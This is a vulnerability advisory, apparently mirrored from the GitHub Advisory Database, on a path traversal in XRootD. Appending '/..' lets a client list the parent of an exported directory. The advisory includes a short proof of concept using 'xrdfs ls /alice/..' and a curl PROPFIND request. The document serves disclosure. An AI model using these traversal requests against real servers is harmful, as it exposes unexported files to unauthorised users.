mediumCVSS 5.3Vulnerability

GHSA-vj8v-p5vw-m6v5

## Summary A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests. This bypass ignores the `all.export` restriction. ## Affected component `src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer. ## PoC ### Configuration - **Configuration file:** ```conf xrd.port 1094 # Exposing only /alice/ oss.localroot /srv/xrootd/data/ all.export /alice/ # HTTP xrd.protocol http:1094 libXrdHttp.so # Logs / monitoring all.adminpath /var/spool/xrootd all.pidpath /var/run/xrootd ``` - **Filesystem layout on the server:** ``` /srv/xrootd/data/ ├── alice/ ← only exported directory ├── bob/ ← not exported └── secret.txt ← not exported ``` - **Starting the server:** `xrootd -c /etc/xrootd/xrootd.cfg` ### Steps to reproduce **Normal behavior (access outside export is denied):** ```bash $ xrdfs root://<xrootd-server> ls / [ERROR] Server responded with an error: [3010] Stating path '/' is disallowed. ``` **Bypass via trailing `..`:** ```bash $ xrdfs root://<xrootd-server>ls /alice/.. /alice/../alice /alice/../bob /alice/../secret.txt ``` **Also exploitable via HTTP PROPFIND:** ```bash curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \ --path-as-is \ -H "Depth: 1" ``` Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`). **However, file download via this path traversal is blocked:** ```bash $ xrdcp root://<xrootd-server>/alice/../secret.txt . [0B/0B][100%][=============

Properties

ghsa_id
GHSA-vj8v-p5vw-m6v5
severity
medium
summary
xrootd has path traversal in directory listing that allows access to the parent directory via trailing ".." pattern
cvss_score
5.3
cve_id
GHSA-vj8v-p5vw-m6v5
cvss_vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
is_ghsa_only
true
ghsa_published
2026-04-10T19:50:39Z
source_url
https://github.com/advisories/GHSA-vj8v-p5vw-m6v5
ghsa_updated
2026-04-10T19:50:40Z

Related Entities (5)

VULNERABLE_TO (1)

[Software]pip/xrootd

AFFECTS (1)

[Software]pip/xrootd

HAS_WEAKNESS (2)

[Weakness]Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
[Weakness]Improper Input Validation

REPORTED_BY (1)

[Source]GitHub Advisory Database

Explore deeper with Ninja Signal's threat intelligence graph

GHSA-vj8v-p5vw-m6v5 (CVSS 5.3) — Ninja Signal Threat Intelligence | Ninja Signal